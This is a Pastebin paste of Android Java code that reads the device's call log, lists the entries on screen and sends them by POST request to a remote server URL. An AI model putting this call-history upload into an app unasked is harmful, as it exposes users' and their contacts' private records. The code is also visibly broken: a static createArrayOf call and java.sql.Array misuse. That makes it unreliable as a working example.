Advertisement
Guest User

Untitled

a guest
Oct 27th, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.88 KB | None | 0 0
  1. public class MainActivity extends AppCompatActivity {
  2. ArrayList<String> arrayList;
  3. String phNum,callType,samay,callDuration;
  4.  
  5. @Override
  6. protected void onCreate(Bundle savedInstanceState) {
  7. super.onCreate(savedInstanceState);
  8. setContentView(R.layout.activity_main);
  9. ListView animalList=(ListView)findViewById(R.id.listView);
  10.  
  11. arrayList = new ArrayList<String>();
  12.  
  13. getCallDetails();
  14. // Create The Adapter with passing ArrayList as 3rd parameter
  15. ArrayAdapter<String> arrayAdapter = new ArrayAdapter<String>(this,android.R.layout.simple_list_item_1, arrayList);
  16. // Set The Adapter
  17. animalList.setAdapter(arrayAdapter);
  18. }
  19.  
  20. private void getCallDetails() {
  21. String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
  22. /* Query the CallLog Content Provider */
  23. Cursor managedCursor = managedQuery(CallLog.Calls.CONTENT_URI, null,
  24. null, null, strOrder);
  25. int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
  26. int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
  27. int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
  28. int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
  29. while (managedCursor.moveToNext()) {
  30. phNum = managedCursor.getString(number);
  31. String callTypeCode = managedCursor.getString(type);
  32. String strcallDate = managedCursor.getString(date);
  33. Date callDate = new Date(Long.valueOf(strcallDate));
  34. samay = callDate.toString();
  35. callDuration = managedCursor.getString(duration);
  36. callType = null;
  37. int callcode = Integer.parseInt(callTypeCode);
  38. switch (callcode) {
  39. case CallLog.Calls.OUTGOING_TYPE:
  40. callType = "Outgoing";
  41. break;
  42. case CallLog.Calls.INCOMING_TYPE:
  43. callType = "Incoming";
  44. break;
  45. case CallLog.Calls.MISSED_TYPE:
  46. callType = "Missed";
  47. break;
  48. }
  49. arrayList.add(phNum);
  50. arrayList.add(callDuration);
  51. arrayList.add(callType);
  52. arrayList.add(samay);
  53. }
  54. managedCursor.close();
  55. /*String[] array = new String[arrayList.size()];
  56. array = arrayList.toArray(array);
  57.  
  58. for(String s : array)
  59. {Log.d("TAG",s);}*/
  60. final String[] data = arrayList.toArray(new String[arrayList.size()]);
  61. final java.sql.Array sqlArray = Connection.createArrayOf("VARCHAR", data);
  62.  
  63. class getCallDetails extends AsyncTask<Void, Void, String> {
  64. @Override
  65. protected String doInBackground(Void... params) {
  66. HashMap<String, Array> param = new HashMap<String, Array>();
  67. param.put(Connect.KEY_ARRAY, sqlArray );
  68.  
  69. RequestHandler rh = new RequestHandler();
  70. String res = rh.sendPostRequest(Connect.URL_ADD, param);
  71. return res;
  72. }
  73. }
  74. getCallDetails idata = new getCallDetails();
  75. idata.execute();
  76. }
  77.  
  78. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement